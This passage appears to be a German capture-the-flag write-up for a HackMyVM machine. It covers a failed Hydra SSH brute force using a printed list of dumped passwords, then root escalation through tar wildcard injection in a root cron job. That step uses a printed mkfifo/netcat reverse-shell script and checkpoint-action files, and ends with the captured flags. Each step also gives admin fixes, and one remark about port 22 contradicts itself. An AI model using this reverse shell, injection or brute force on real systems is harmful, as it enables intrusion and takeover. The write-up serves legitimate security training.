@ @@ :#@@@ @@@@@@@@@@@@@@@@@@
@ @ %@ @% @@@@@@@@@@@@@@@@@
@ @ = @ *@ @*@@@@@
@ @@@@@@@@@@@@: % @ @ @.@@@@@
- @ :=%@@# @ +@+@ @@@@@@@
@ @ =*= @ @@ +# @@@@@@@
=@*-: :@@ :#@@@@@@@#. @@ @ @# @*@@@@@@@@
=@@@@%: :%@@@% .%@@ : @@@ @@@@@@ *@
:@@@@@+ #%: ... = . @
=@@% :@* =@@@@* @ @ @
%@@ +@+@@ +@ *@@@@- # @
@: .@ @- @ :@@* =@@ @@@@@ =
@ @@@ @ =% @% @ @. @@@@ @
*@. @@ @ @ * = @. @ @@@ @ @
*@ @@@@@ @. @ + - : @% @ :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% = .@@@@ @@@ @@@@@@
@@@@@ * @ = @ @ @ @ @ @@@@@@@@ @@@@@@@@@@@.@@@@@@@@@@@@@@@@@@@@@@@@@ @ @=#@*@@ @@@ @
* @@@+ +@@ @ @ % % @=@ @ = *@@@@@@@@@@@@@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= % @*@@ @@ @@@ %
. @ @ @ @ @+- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ %@@@@ @@ @ @ @
@@-# @ *@@@@@+ :@@@. @@@@ @@@@*@ @@@@@ @@@@@@@@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ @@=@ %@@ @
@@@@@@@ * @@@@@@@@@@@@@@@@@@@@= .@+ @@@@ %@@@@@@@@@@@@@@@@@@: @@@@@@@@@@@@@ @ @@:@@@@%= @@
@* @@@@@@@@@@ @.@@@@@@@@@@@@@@@@@@* @@@* @@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ :@@@@@ @@@ @
%@@= %@@*: @ @@ @ @@ @@ @@@@@@@@@@@@@@ @@-%@@@ @ @@@@%=@@@@@@@ @=@@@@@@@@@@@@@@@@@@ @@ @@@@@@@@@ @@
@@@@:@=@@@@@@@%@:@= = @@@ @@@@@@ :@@ @@@@@@@@ := @@@@ @@@+ @@@ @@@@@@@@@@@ @* @@@@@*@@@@@
-+@@@ #@:@@@@ -@@ @@ @@-@@@ :*@ =@@@@@%@:=#@@@@= @@@:@ @@@@=@@ @@@@@@@@ @@
=@ @@ #@ @@ : @@@@@@@@ @@@@@@% *%@* -@: @@@@@ @ .*@ @ #@ @@@@@@@@@ @%
@@@.-: @@ % @@@@@@@@@@@@@ . @@ @@@@@@@@@@@@@@@@@% @@@@@ @@@@@ @ @@ @@ +@ @
@ :=@@@+ @ :#@@@@@@@@ @. @@@@@@ @ @+@=@@ -@@
@@@@@@@@ @@@#: @@@@@@@# @@@+@@@ =@@@@ @@ @@
=@@@@@@@@@@@@@@@-@@@@@@@. :*%@@@@@@@@@@@@ @@@@ @@@=@ @ @@
@@@@@@@@@ @@@@@@@@@@@@ @@=@@ @@
@@@@@@@ @@@@ =@@
-@@@@@@@ @@@@@ #@@@
@@@@@@@ @@@@@@@@@@@
-@@@ @@@@@@
HMV{7920c4596aad1b9826721f4cf7ca3bf0}
Analyse: Die aus der MySQL-Datenbank gedumpten Passwörter werden (vermutlich lokal auf dem Angreifer-System) mit `awk` extrahiert und in `pass.txt` gespeichert. Die Benutzernamen der Mitarbeiter werden in `hack.txt` gespeichert. `hydra` wird verwendet, um einen Brute-Force-Angriff auf SSH (Port 22, was falsch ist, SSH läuft auf Port 22) mit den gesammelten Benutzernamen und Passwörtern durchzuführen.
Bewertung: Die Vorbereitung der Listen ist sinnvoll. Der Hydra-Angriff scheitert jedoch (`0 valid password found`). Dies liegt wahrscheinlich daran, dass entweder die Passwörter für SSH andere sind als die in der Datenbank gefundenen oder dass der falsche Port (22 statt 22) verwendet wurde oder die Passwort-Authentifizierung für SSH deaktiviert ist.
Empfehlung (Pentester): Überprüfe den SSH-Port (Port 22 ist korrekt laut nmap). Teste die Credentials manuell für einige Benutzer. Falls immer noch erfolglos, konzentriere dich auf andere Privesc-Methoden.
Empfehlung (Admin): Erzwingen Sie unterschiedliche Passwörter für verschiedene Dienste (DB, System-Login). Verwenden Sie Key-basierte SSH-Authentifizierung und deaktivieren Sie Passwort-Logins.
| | benni benni 1Wd35lRnAKMGMEwcsX Rh978db3URen64yaPP 0i3a8KyWS2IcbmqF02 pL2a92Po2ykXytzX7y 155HseB7sQzIpE2dIG qM51130xeGHHxKZWqk sF217VruHNj6wbjofU 2yLw53N0m08hFyBXx 7wS93MQPiVQUkqfQ5T f64KBw7cGvu1BkVwcb f64KBw7cGvu1BkVwcb 5dX3g8hnKo7AFNHXTV am636X6Rh1u6S8WNr4 95T3mjV3gublmR7Z f1CD3u3XVo0uXumGah Lj9Wr562vqNuLlkTr0 7zQ19L0HhFsivH3zFi k1TI68MmYu8uQHhfS1 5a34pXYDAUMZCoPrg 5Wqio90BLd7i4oBMXJ c1P35bcdw0mF3ExJXG 5Y7zypv8tl9N7TeCFp yF891teFhjhj0Rg7ds y6KA4378EbK0ePv5XN c1P35bcdw0mF3ExJXG | |
andrew coos jeff john juan lara lee mike nick
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 00:46:02 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 64 tasks per 1 server, overall 64 tasks, 288 login tries (l:9/p:32), ~5 tries per task [DATA] attacking ssh://192.168.2.125:22/ 1 of 1 target completed, 0 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 00:46:42
Analyse: In der `www-data`-Shell werden erneut SUID-Dateien gesucht, `sudo -l` versucht (scheitert), Netzwerkverbindungen geprüft (`ss`) und die Crontab (`/etc/crontab`) ausgelesen.
Bewertung: Die SUID-Suche und der `sudo`-Check liefern keine neuen Erkenntnisse. `ss` bestätigt die bekannten Listener (SSH, MySQL, Apache). Die Crontab enthält jedoch einen **kritischen Eintrag**: `*/1 * * * * root /usr/local/bin/backup.sh`. Ein Skript wird **jede Minute als root** ausgeführt.
Empfehlung (Pentester): Untersuche sofort das Skript `/usr/local/bin/backup.sh` und dessen Berechtigungen. Wenn es Schwachstellen enthält (z.B. unsichere Pfade, Wildcards) oder für `www-data` schreibbar ist, ist dies ein sehr wahrscheinlicher Privesc-Vektor.
Empfehlung (Admin): Überprüfen Sie alle systemweiten und Benutzer-Cronjobs sorgfältig. Stellen Sie sicher, dass als root ausgeführte Skripte sicher geschrieben sind (keine Wildcards in kritischen Befehlen, absolute Pfade verwenden), dem root gehören und nicht von anderen Benutzern beschreibbar sind. Führen Sie Cronjobs mit den geringstmöglichen Rechten aus.
297 129 -rwsr-xr-x 1 root root 131832 May 27 2023 /snap/snapd/19457/usr/lib/snapd/snap-confine 297 129 -rwsr-xr-x 1 root root 131832 Nov 29 14:54 /snap/snapd/20671/usr/lib/snapd/snap-confine # ... (viele Standard SUIDs, ähnlich wie bei Liceo, keine Bash) ... 13735 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1 1112 228 -rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo # ... (weitere Standard SUIDs) ... 38991 332 -rwsr-xr-x 1 root root 338536 Jan 2 16:54 /usr/lib/openssh/ssh-keysign
[sudo] password for www-data: sudo: a password is required
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 70 127.0.0.1:33060 0.0.0.0:* LISTEN 0 151 127.0.0.1:3306 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/1 * * * * root /usr/local/bin/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
Analyse: Der Inhalt und die Berechtigungen des Cron-Skripts `/usr/local/bin/backup.sh` werden überprüft.
Bewertung: Das Skript wechselt nach `/var/www/html/` und führt `tar czf /var/backups/backup-website.tar.gz *` aus. Die Verwendung des Wildcards (`*`) in einem `tar`-Befehl, der als root ausgeführt wird, ist eine **klassische Wildcard-Injection-Schwachstelle**. Wenn ein Angreifer (wie `www-data`, der wahrscheinlich Schreibrechte in `/var/www/html/` hat) Dateien erstellt, deren Namen mit `--` beginnen, interpretiert `tar` diese als Optionen. Die Berechtigungen des Skripts selbst (`-rwxr--r--`) verhindern ein direktes Überschreiben durch `www-data`.
Empfehlung (Pentester): Nutze die Wildcard-Injection aus. Erstelle die Dateien `--checkpoint=1` und `--checkpoint-action=exec=COMMAND` (wobei COMMAND z.B. eine Reverse Shell ist) im Verzeichnis `/var/www/html/`. Warte, bis der Cronjob (innerhalb einer Minute) `tar` ausführt und damit deinen Befehl als root triggert.
Empfehlung (Admin): **Korrigieren Sie das Backup-Skript dringend!** Ersetzen Sie den Wildcard (`*`) durch eine sicherere Methode, z.B. `tar czf /var/backups/backup-website.tar.gz .` (um das aktuelle Verzeichnis zu archivieren) oder `find . -maxdepth 1 -print0 | tar czf /var/backups/backup-website.tar.gz --null -T -`. Stellen Sie sicher, dass `www-data` keine unnötigen Schreibrechte in `/var/www/html/` hat.
#!/bin/bash cd /var/www/html/ tar czf /var/backups/backup-website.tar.gz *
-rwxr--r-- 1 root root 75 Feb 12 06:32 /usr/local/bin/backup.sh
Analyse: Es werden verschiedene Versuche unternommen, die Wildcard-Injection auszunutzen. 1. Versuch, das Skript direkt zu ändern (scheitert an Berechtigungen). 2. Versuch, eine Datei mit einem En-Dash (`–`) statt zwei Hyphens (`--`) zu erstellen (Tippfehler, funktioniert nicht). 3. Ein Skript `hacker.sh` mit einem Reverse-Shell-Payload wird erstellt. 4. Die Trigger-Dateien für `tar` werden erstellt: `--checkpoint=1` und `--checkpoint-action=exec=sh hacker.sh`. `hacker.sh` wird ausführbar gemacht. 5. Weitere Versuche mit Python werden vorbereitet (aber nicht benötigt). 6. Der finale, erfolgreiche Befehl zum Erstellen der Action-Datei war `touch /var/www/html/--checkpoint-action=exec=sh\ hacker.sh` (der Backslash ist hier unnötig, aber schadet nicht).
Bewertung: Nach einigen Versuchen gelingt es, die notwendigen Dateien (`--checkpoint=1`, `--checkpoint-action=exec=sh hacker.sh` und das ausführbare `hacker.sh`) im Web-Root zu platzieren. Nun muss nur noch auf die Ausführung des Cronjobs gewartet werden.
Empfehlung (Pentester): Starte einen Listener (`nc -lvnp 5552`, wie im Skript `hacker.sh` definiert) und warte maximal eine Minute auf die eingehende Root-Shell.
Empfehlung (Admin): Beheben Sie die Schwachstelle im Cron-Skript. Entfernen Sie die bösartigen Dateien aus `/var/www/html/`. Überprüfen Sie das System auf Kompromittierung.
bash: /usr/local/bin/backup.sh: Permission denied
#!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5552 >/tmp/f
total 152 -rw-rw-rw- 1 www-data www-data 0 May 11 23:05 '--checkpoint-action=exec=hacker.sh' -rw-rw-rw- 1 www-data www-data 0 May 11 23:09 '--checkpoint-action=exec=python3' -rw-rw-rw- 1 www-data www-data 0 May 11 23:12 '--checkpoint-action=exec=sh hacker.sh' -rw-rw-rw- 1 www-data www-data 0 May 11 23:04 '--checkpoint=1' # ... (andere Dateien) ... -rwxrwxrwx 1 www-data www-data 85 May 11 23:05 hacker.sh # ...
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port 5552 gestartet. Kurz darauf wird eine Verbindung vom Zielsystem empfangen. Der `id`-Befehl in der neuen Shell bestätigt Root-Rechte. Anschließend wird ins `/root`-Verzeichnis gewechselt und die Root-Flag angezeigt.
Bewertung: **Privilege Escalation via Cronjob-Wildcard-Injection erfolgreich!** Der Cronjob hat das `tar`-Kommando ausgeführt, welches durch die präparierten Dateien das Skript `hacker.sh` als root gestartet hat, was zur Reverse Shell führte. Die Root-Flag `HMV{858d77929683357d07237ef3e3604597}` (eingebettet in ASCII-Art) wird erfolgreich gelesen.
Empfehlung (Pentester): Maschine vollständig kompromittiert. Bericht abschließen.
Empfehlung (Admin): **Sofort das Backup-Skript korrigieren (kein Wildcard)!** Bereinigen Sie die in `/var/www/html` erstellten Dateien. Überprüfen Sie das System auf Persistenzmechanismen oder andere Änderungen durch den Angreifer. Implementieren Sie sicherere Praktiken für Cronjobs.
listening on [any] 5552 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 52408 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cd /root # ls dash root.txt snap # cat root.txt ██████ █████ █████ █████ █████████ █████ ████ █████ █████ ██████ ███ ███ ███ █████████ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █ ███ ███ ███ ███ ███ ███ ███████ ███████████ ███ █████ ███ ███ ███ ███ ██████ ████ ███ ████ ███ ███ ███ ███ ███ ███ ███ ███ ████████ ████████ █████ █████████ █████ ████ █████ %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# @@@: .::. :%@@@@@@@@@@@@@@@@@@@@@@@@@ @ @@ :#@@@ @@@@@@@@@@@@@@@@@@ @ @ %@ @% @@@@@@@@@@@@@@@@@ @ @ = @ *@ @*@@@@@ @ @@@@@@@@@@@@: % @ @ @.@@@@@ - @ :=%@@# @ +@+@ @@@@@@@ @ @ =*= @ @@ +# @@@@@@@ =@*-: :@@ :#@@@@@@@#. @@ @ @# @*@@@@@@@@ =@@@@%: :%@@@% .%@@ : @@@ @@@@@@ *@ :@@@@@+ #%: ... = . @ =@@% :@* =@@@@* @ @ @ %@@ +@+@@ +@ *@@@@- # @ @: .@ @- @ :@@* =@@ @@@@@ = @ @@@ @ =% @% @ @. @@@@ @ *@. @@ @ @ * = @. @ @@@ @ @ *@ @@@@@ @. @ + - : @% @ :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% = .@@@@ @@@ @@@@@@ @@@@@ * @ = @ @ @ @ @ @@@@@@@@ @@@@@@@@@@@.@@@@@@@@@@@@@@@@@@@@@@@@@ @ @=#@*@@ @@@ @ * @@@+ +@@ @ @ % % @=@ @ = *@@@@@@@@@@@@@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= % @*@@ @@ @@@ % . @ @ @ @ @+- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ %@@@@ @@ @ @ @ @@-# @ *@@@@@+ :@@@. @@@@ @@@@*@ @@@@@ @@@@@@@@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ @@=@ %@@ @ @@@@@@@ * @@@@@@@@@@@@@@@@@@@@= .@+ @@@@ %@@@@@@@@@@@@@@@@@@: @@@@@@@@@@@@@ @ @@:@@@@%= @@ @* @@@@@@@@@@ @.@@@@@@@@@@@@@@@@@@* @@@* @@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ :@@@@@ @@@ @ %@@= %@@*: @ @@ @ @@ @@ @@@@@@@@@@@@@@ @@-%@@@ @ @@@@%=@@@@@@@ @=@@@@@@@@@@@@@@@@@@ @@ @@@@@@@@@ @@ @@@@:@=@@@@@@@%@:@= = @@@ @@@@@@ :@@ @@@@@@@@ := @@@@ @@@+ @@@ @@@@@@@@@@@ @* @@@@@*@@@@@ -+@@@ #@:@@@@ -@@ @@ @@-@@@ :*@ =@@@@@%@:=#@@@@= @@@:@ @@@@=@@ @@@@@@@@ @@ =@ @@ #@ @@ : @@@@@@@@ @@@@@@% *%@* -@: @@@@@ @ .*@ @ #@ @@@@@@@@@ @% @@@.-: @@ % @@@@@@@@@@@@@ . @@ @@@@@@@@@@@@@@@@@% @@@@@ @@@@@ @ @@ @@ +@ @ @ :=@@@+ @ :#@@@@@@@@ @. @@@@@@ @ @+@=@@ -@@ @@@@@@@@ @@@#: @@@@@@@# @@@+@@@ =@@@@ @@ @@ =@@@@@@@@@@@@@@@-@@@@@@@. :*%@@@@@@@@@@@@ @@@@ @@@=@ @ @@ @@@@@@@@@ @@@@@@@@@@@@ @@=@@ @@ @@@@@@@ @@@@ =@@ -@@@@@@@ @@@@@ #@@@ @@@@@@@ @@@@@@@@@@@ -@@@ @@@@@@ HMV{858d77929683357d07237ef3e3604597} #
Analyse: Dieser POC beschreibt die Ausnutzung der Tar-Wildcard-Injection-Schwachstelle im Cronjob zur Erlangung von Root-Rechten.
Schwachstelle: Ein Cronjob führt minütlich als `root` das Skript `/usr/local/bin/backup.sh` aus. Dieses Skript verwendet `tar` mit einem Wildcard (`*`) im Verzeichnis `/var/www/html/`. Der Benutzer `www-data` hat Schreibrechte in `/var/www/html/`.
Voraussetzungen: Shell-Zugriff als `www-data`. Schreibrechte im Verzeichnis `/var/www/html/`.
Schritte zur Reproduktion:
Erwartetes Ergebnis: Der `tar`-Befehl im Cronjob wird durch die `--checkpoint*`-Dateien angewiesen, das Skript `payload.sh` als `root` auszuführen. Dies führt zum Aufbau einer Reverse Shell zum Listener des Angreifers mit Root-Rechten.
Empfehlung (Admin): Korrigieren Sie das Backup-Skript, indem Sie den Wildcard `*` entfernen und durch eine sichere Methode zum Auflisten von Dateien ersetzen (z.B. `.` oder `find`). Überprüfen Sie alle Cronjobs auf ähnliche Schwachstellen. Beschränken Sie Schreibrechte für den `www-data`-Benutzer.